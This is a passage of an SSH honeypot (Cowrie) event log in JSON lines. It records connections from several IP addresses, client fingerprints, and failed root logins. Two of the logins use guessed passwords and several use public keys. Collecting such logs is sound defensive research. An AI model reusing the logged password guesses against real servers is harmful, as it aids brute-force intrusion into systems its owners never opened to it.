":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:55.061973Z","src_ip":"185.40.30.168","session":"ff41e1de79d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Amazon2017","message":"login attempt [root/Amazon2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:55.597521Z","src_ip":"185.40.30.168","session":"ff41e1de79d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":44760,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae32f5da16c7","protocol":"ssh","message":"New connection: 43.134.112.237:44760 (159.203.135.109:22) [session: ae32f5da16c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:56.491398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:56.496623Z","src_ip":"43.134.112.237","session":"ae32f5da16c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:56.726022Z","src_ip":"43.134.112.237","session":"ae32f5da16c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:56.734288Z","src_ip":"185.40.30.168","session":"ff41e1de79d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!123456","message":"login attempt [root/!123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:57.704447Z","src_ip":"43.134.112.237","session":"ae32f5da16c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:58.938209Z","src_ip":"43.134.112.237","session":"ae32f5da16c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.90.232.249","src_port":55514,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c374f4ccdfc","protocol":"ssh","message":"New connection: 209.90.232.249:55514 (10.17.0.5:22) [session: 4c374f4ccdfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:00.217129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:00.231512Z","src_ip":"209.90.232.249","session":"4c374f4ccdfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:00.325308Z","src_ip":"209.90.232.249","session":"4c374f4ccdfc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:38:8c:c0:9e:31:e4:9d:72:ee:c2:9b:d9:3e:20:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRbUd1KV/nDm8v6xFCnr1+gNB65MJdiBqaflMd+ZOoyF44y+qvkHWG0Npc1OGZjPtbhCKcmcg2aTI0hFXCMygM0mEZd9CRQN9PKl/wwV7ihgSnjZuGs99wdPgdQm18WBJxWVgBG9j62k0Ves3KeT/Gk6e2vfkRCAW2fk+7M5SoDnjsArkvR6RT+XZSQO3z1ilYnlXv9s65Lw553gvUD6rnqPw5XLthpYgD58wc9Udlil3aL2JYBaXM+ye8YXQtmgz8YeMPRbx9vlSwBGOyqSgSqaosGEgZoQNKO6GHC9Jzrmc2M8SW0u6SXMYLHnXks9CEC8g38DiTdGbM55qrsZnp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c0:38:8c:c0:9e:31:e4:9d:72:ee:c2:9b:d9:3e:20:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:00.670103Z","src_ip":"209.90.232.249","session":"4c374f4ccdfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:38:8c:c0:9e:31:e4:9d:72:ee:c2:9b:d9:3e:20:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRbUd1KV/nDm8v6xFCnr1+gNB65MJdiBqaflMd+ZOoyF44y+qvkHWG0Npc1OGZjPtbhCKcmcg2aTI0hFXCMygM0mEZd9CRQN9PKl/wwV7ihgSnjZuGs99wdPgdQm18WBJxWVgBG9j62k0Ves3KeT/Gk6e2vfkRCAW2fk+7M5SoDnjsArkvR6RT+XZSQO3z1ilYnlXv9s65Lw553gvUD6rnqPw5XLthpYgD58wc9Udlil3aL2JYBaXM+ye8YXQtmgz8YeMPRbx9vlSwBGOyqSgSqaosGEgZoQNKO6GHC9Jzrmc2M8SW0u6SXMYLHnXks9CEC8g38DiTdGbM55qrsZnp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:00.674605Z","src_ip":"209.90.232.249","session":"4c374f4ccdfc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:93:d1:00:0c:cb:5c:7d:8e:a7:b9:d9:49:a6:bd:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3eS+97Qa8l8zkMDbdR3gIvU2VoratGGgIA4ovNtf0ZjxcYJd8IarHylDktdtDzml+YKOkGRjFgGdtMIeq1lXWJnAAwUmgixjfQh3wu2sfCmawjgCoR1K5ZAcXZwOkUUeEdhZXNXNIP3wQv+8/GIareQ+zU4p3rIWcVj0n+Rp9V3eqki7t+3486s5k1cM8za425GOCN+XzqZSrWnvNuH12IjBI894aSRjRXrpNxGa+vtKiQSKsdFFUCCZeroRx+DONjmH8DX8K4HiLlXhDE+MWqBzRNVJautn5W9NsjKZPoKg0PYPXZ6XmTzrdoQA3Yt5A1u5/GwKCA87wLeBr/shQKjQHP4wxQtTIW6D/JO0TUjl+8AffWKs+OsWfeDDWAIlAlv22O3+lSB2ReA2oORy9BzdGx2hjFQerg/00gfgPyCXfcL9UnRScWDtXlncCnxO2Hc7cZ397AN7CYPSEsPdmfHTeb9Un7iRxWNnlT+1v65KNspFeDo2qYrVQhlBoeGD8CY+JDEMa4sP3UYQV3BCrLEYtTx3UVfNmxP3mp7aJLBgK05HUHccvkzfTQTJ77foAaOtmAko4Wg8ugIdAtWJTmOYhSsI0JI/7yF85uax8bsJAIQ5C2nyjGQ6wqNGH6g4h0sFV5oUm/kqFDOD2iQ4GyTUHjp2eWA9VfMqp/HoZDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:93:d1:00:0c:cb:5c:7d:8e:a7:b9:d9:49:a6:bd:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:00.748478Z","src_ip":"209.90.232.249","session":"4c374f4ccdfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:93:d1:00:0c:cb:5c:7d:8e:a7:b9:d9:49:a6:bd:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3eS+97Qa8l8zkMDbdR3gIvU2VoratGGgIA4ovNtf0ZjxcYJd8IarHylDktdtDzml+YKOkGRjFgGdtMIeq1lXWJnAAwUmgixjfQh3wu2sfCmawjgCoR1K5ZAcXZwOkUUeEdhZXNXNIP3wQv+8/GIareQ+zU4p3rIWcVj0n+Rp9V3eqki7t+3486s5k1cM8za425GOCN+XzqZSrWnvNuH12IjBI894aSRjRXrpNxGa+vtKiQSKsdFFUCCZeroRx+DONjmH8DX8K4HiLlXhDE+MWqBzRNVJautn5W9NsjKZPoKg0PYPXZ6XmTzrdoQA3Yt5A1u5/GwKCA87wLeBr/shQKjQHP4wxQtTIW6D/JO0TUjl+8AffWKs+OsWfeDDWAIlAlv22O3+lSB2ReA2oORy9BzdGx2hjFQerg/00gfgPyCXfcL9UnRScWDtXlncCnxO2Hc7cZ397AN7CYPSEsPdmfHTeb9Un7iRxWNnlT+1v65KNspFeDo2qYrVQhlBoeGD8CY+JDEMa4sP3UYQV3BCrLEYtTx3UVfNmxP3mp7aJLBgK05HUHccvkzfTQTJ77foAaOtmAko4Wg8ugIdAtWJTmOYhSsI0JI/7yF85uax8bsJAIQ5C2nyjGQ6wqNGH6g4h0sFV5oUm/kqFDOD2iQ4GyTUHjp2eWA9VfMqp/HoZDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:00.753460Z","src_ip":"209.90.232.249","session":"4c374f4ccdfc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:0e:71:8b:0c:8a:62:5d:a2:4b:2b:6d:b2:e0:20:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOrNTTUcGURD0qG1VtLSd2preDZi4R40tWQN5ow5X3XX4fA8dtbQGnQTPG5fIy0WKRtH81jYI/W+nYBF8it1y3oNf09xQqiF+Mr5hPCJb1bg37zgXSCW2elzqXZNYnkUuqqsZfVz4Tq7YctT7cqXOLIQW09775/R06F758luWNlhGgL5RHBLnlDJH7QaOLLsQsgBwd2yyBfhV+lKmcwdsU/s2pNNAvlDOjDkcB1cAWoPPVFZKg2A5phAIpXH60AdrUSlglBAmJl+ny1wfXelr/XytromZkP//AggP1oHtdKEYfD5+Yg+ySIEekIobYOZU50vc8XRIMBsi+0f0cinAOKJVaW6dBlFgwWZhhFnN9ck6gqNp1wG1oozTm3nrqPf5kBe3l4wzWclx8YIqdci23ALRttCj2xrV3zTVp95aYoDEwz9JW7Y+aGG6fPJ7wbkik91ju+8bkA3qUdSD0HeXLmYE7CGiokRh0juhFhVa4XU46CeEzdF6+G+GbxpPPFC+tlV6kDgYQN3ybIZQpHo/OK7LVbLM1VRMOUpbLq5V6Dnq/G9xueV6jSU2uWCsRwSrqZc98xB3zgHs3BBR9HxsJ+KI5fcAdgDnQtQ6D4qsmTvT37FUc5LOR09wvI7kYyaddYLYPodHZs5NhiczV8Kb1ivNv7lNplVyZ6sqVAf8NVw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:0e:71:8b:0c:8a:62:5d:a2:4b:2b:6d:b2:e0:20:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:00.829151Z","src_ip":"209.90.232.249","session":"4c374f4ccdfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:0e:71:8b:0c:8a:62:5d:a2:4b:2b:6d:b2:e0:20:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOrNTTUcGURD0qG1VtLSd2preDZi4R40tWQN5ow5X3XX4fA8dtbQGnQTPG5fIy0WKRtH81jYI/W+nYBF8it1y3oNf09xQqiF+Mr5hPCJb1bg37zgXSCW2elzqXZNYnkUuqqsZfVz4Tq7YctT7cqXOLIQW09775/R06F758luWNlhGgL5RHBLnlDJH7QaOLLsQsgBwd2yyBfhV+lKmcwdsU/s2pNNAvlDOjDkcB1cAWoPPVFZKg2A5phAIpXH60AdrUSlglBAmJl+ny1wfXelr/XytromZkP//AggP1oHtdKEYfD5+Yg+ySIEekIobYOZU50vc8XRIMBsi+0f0cinAOKJVaW6dBlFgwWZhhFnN9ck6gqNp1wG1oozTm3nrqPf5kBe3l4wzWclx8YIqdci23ALRttCj2xrV3zTVp95aYoDEwz9JW7Y+aGG6fPJ7wbkik91ju+8bkA3qUdSD0HeXLmYE7CGiokRh0juhFhVa4XU46CeEzdF6+G+GbxpPPFC+tlV6kDgYQN3ybIZQpHo/OK7LVbLM1VRMOUpbLq5V6Dnq/G9xueV6jSU2uWCsRwSrqZc98xB3zgHs3BBR9HxsJ+KI5fcAdgDnQtQ6D4qsmTvT37FUc5LOR09wvI7kYyaddYLYPodHZs5NhiczV8Kb1ivNv7lNplVyZ6sqVAf8NVw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:00.835950Z","src_ip":"209.90.232.249","session":"4c374f4ccdfc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:55:77:c4:67:1c:22:4e:cb:01:8b:17:c3:0f:b6:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkKaPXcbyMGmhtOkdv++Cbit1v6dlqpIOAMVV6wSsqhc+Iyd3RWiQ2hR6RnszsD7JRlAL4e5dM1k26gq6raQwkKPaQVVGGUQnNj1suJPV4IncUPQpuWgEgTvgY/XeALohIUKvR4hkBm+CebWQW6M/cKbpRyZxIypmJ8/flGE9Y27sapWSkzdaAp1HE7osNVdQx/drh8Q7fz8UqH0POr1VsOR3tz9TvZPDd5L9I4GHCSZSOD0WOMdgeZBkIsZsP6/mlbBodEc/NG5vmeT7soZhSSEec7a1DCKocTcCK0wARrSeAtn57azJSmneDbHe37t1iW/TVaeUOR/6pMUf/bYPon3/sweRrvvWJllUR39c8GewpZbFsA+qxMmyY9Bmqqx6CJV2Pz+VlxZWwAydgf5b56M1UiMdWdBeZ1b7nd0lnYfCKU2bdFmI0F5coDitTCINqml9MYpoPxi/jEL8QGnk1MhAjTirrLdZ792rZz6WlXh70K/wUQjMc9d2gZzzeluHv/5FRsZVU4Qe9CVKkyLA5ZxPW20uUS3wQJeU6EF6PC+Ya0j9KdW1MrvP4Sg0UHF0O4Dj98pk4dz8zGDbGTvqK+/EghSCiV5PXiuoMCs89EtSr2m7b0B07VFsR6mdJCE0OB+OP9NDMDabuQ+Wm8DhodqcODXrcTv9TIxlIxpOO3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:55:77:c4:67:1c:22:4e:cb:01:8b:17:c3:0f:b6:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:00.912859Z","src_ip":"209.90.232.249","session":"4c374f4ccdfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:55:77:c4:67:1c:22:4e:cb:01:8b:17:c3:0f:b6:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkKaPXcbyMGmhtOkdv++Cbit1v6dlqpIOAMVV6wSsqhc+Iyd3RWiQ2hR6RnszsD7JRlAL4e5dM1k26gq6raQwkKPaQVVGGUQnNj1suJPV4IncUPQpuWgEgTvgY/XeALohIUKvR4hkBm+CebWQW6M/cKbpRyZxIypmJ8/flGE9Y27sapWSkzdaAp1HE7osNVdQx/drh8Q7fz8UqH0POr1VsOR3tz9TvZPDd5L9I4GHCSZSOD0WOMdgeZBkIsZsP6/mlbBodEc/NG5vmeT7soZhSSEec7a1DCKocTcCK0wARrSeAtn57azJSmneDbHe37t1iW/TVaeUOR/6pMUf/bYPon3/sweRrvvWJllUR39c8GewpZbFsA+qxMmyY9Bmqqx6CJV2Pz+VlxZWwAydgf5b56M1UiMdWdBeZ1b7nd0lnYfCKU2bdFmI0F5coDitTCINqml9MYpoPxi/jEL8QGnk1MhAjTirrLdZ792rZz6WlXh70K/wUQjMc9d2gZzzeluHv/5FRsZVU4Qe9CVKkyLA5ZxPW20uUS3wQJeU6EF6PC+Ya0j9KdW1MrvP4Sg0UHF0O4Dj98pk4dz8zGDbGTvqK+/EghSCiV5PXiuoMCs89EtSr2m7b0B07VFsR6mdJCE0OB+OP9NDMDabuQ+Wm8DhodqcODXrcTv9TIxlIxpOO3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:00.917356Z","src_ip":"209.90.232.249","session":"4c374f4ccdfc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:7f:23:7f:13:47:22:b4:e0:14:a6:cb:d0:e6:53:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3KjzJST3lj5CkwOYgR/vO5UQWtxqT1BYpojas/1HzeSi9e9K8RPakx0DLEMAOlIXbfsPLlTKtGZz8Q70saNCKQBrsg2JRWaW4BH8T/RcP5sXw/BoGvVR53v6ZMF1ZjfxFZACzxux8VJkuaWZbP4apcEz5bnlMzYGeMdgRwrXnHYZPAVBtxTHMAHkdSC332hUBn6FYUUZroB0mEzpxN3Gt75oI92kAPPwTQtY0VkB0LhS1Ei/JaU0EdIa0jp3EIFMY1AD8z9dIaDmnOy+C3Y3HZXS3dhP9JYp4JWm5NlMz19BTXqVz/PFTiETN3oKMdpBc1RlwAjRNZlbMYIlfTjIb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:7f:23:7f:13:47:22:b4:e0:14:a6:cb:d0:e6:53:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:00.994035Z","src_ip":"209.90.232.249","session":"4c374f4ccdfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:7f:23:7f:13:47:22:b4:e0:14:a6:cb:d0:e6:53:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3KjzJST3lj5CkwOYgR/vO5UQWtxqT1BYpojas/1HzeSi9e9K8RPakx0DLEMAOlIXbfsPLlTKtGZz8Q70saNCKQBrsg2JRWaW4BH8T/RcP5sXw/BoGvVR53v6ZMF1ZjfxFZACzxux8VJkuaWZbP4apcEz5bnlMzYGeMdgRwrXnHYZPAVBtxTHMAHkdSC332hUBn6FYUUZroB0mEzpxN3Gt75oI92kAPPwTQtY0VkB0LhS1Ei/JaU0EdIa0jp3EIFMY1AD8z9dIaDmnOy+C3Y3HZXS3dhP9JYp4JWm5NlMz19BTXqVz/PFTiETN3oKMdpBc1RlwAjRNZlbMYIlfTjIb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:00.999364Z","src_ip":"209.90.232.249","session":"4c374f4ccdfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:01.073994Z","src_ip":"209.90.232.249","session":"4c374f4ccdfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":34946,"dst_ip":"10.17.0.5","dst_port":22,"session":"f47c757804cd","protocol":"ssh","message":"New connection: 103.96.74.162:34946 (10.17.0.5:22) [session: f47c757804cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:03.110558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:03.125978Z","src_ip":"103.96.74.162","session":"f47c757804cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:03.391598Z","src_ip":"103.96.74.162","session":"f47c757804cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":42916,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b5e2199a193","protocol":"ssh","message":"New connection: 69.49.246.176:42916 (159.203.135.109:22) [session: 5b5e2199a193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:04.321283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:04.326990Z","src_ip":"69.49.246.176","session":"5b5e2199a193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com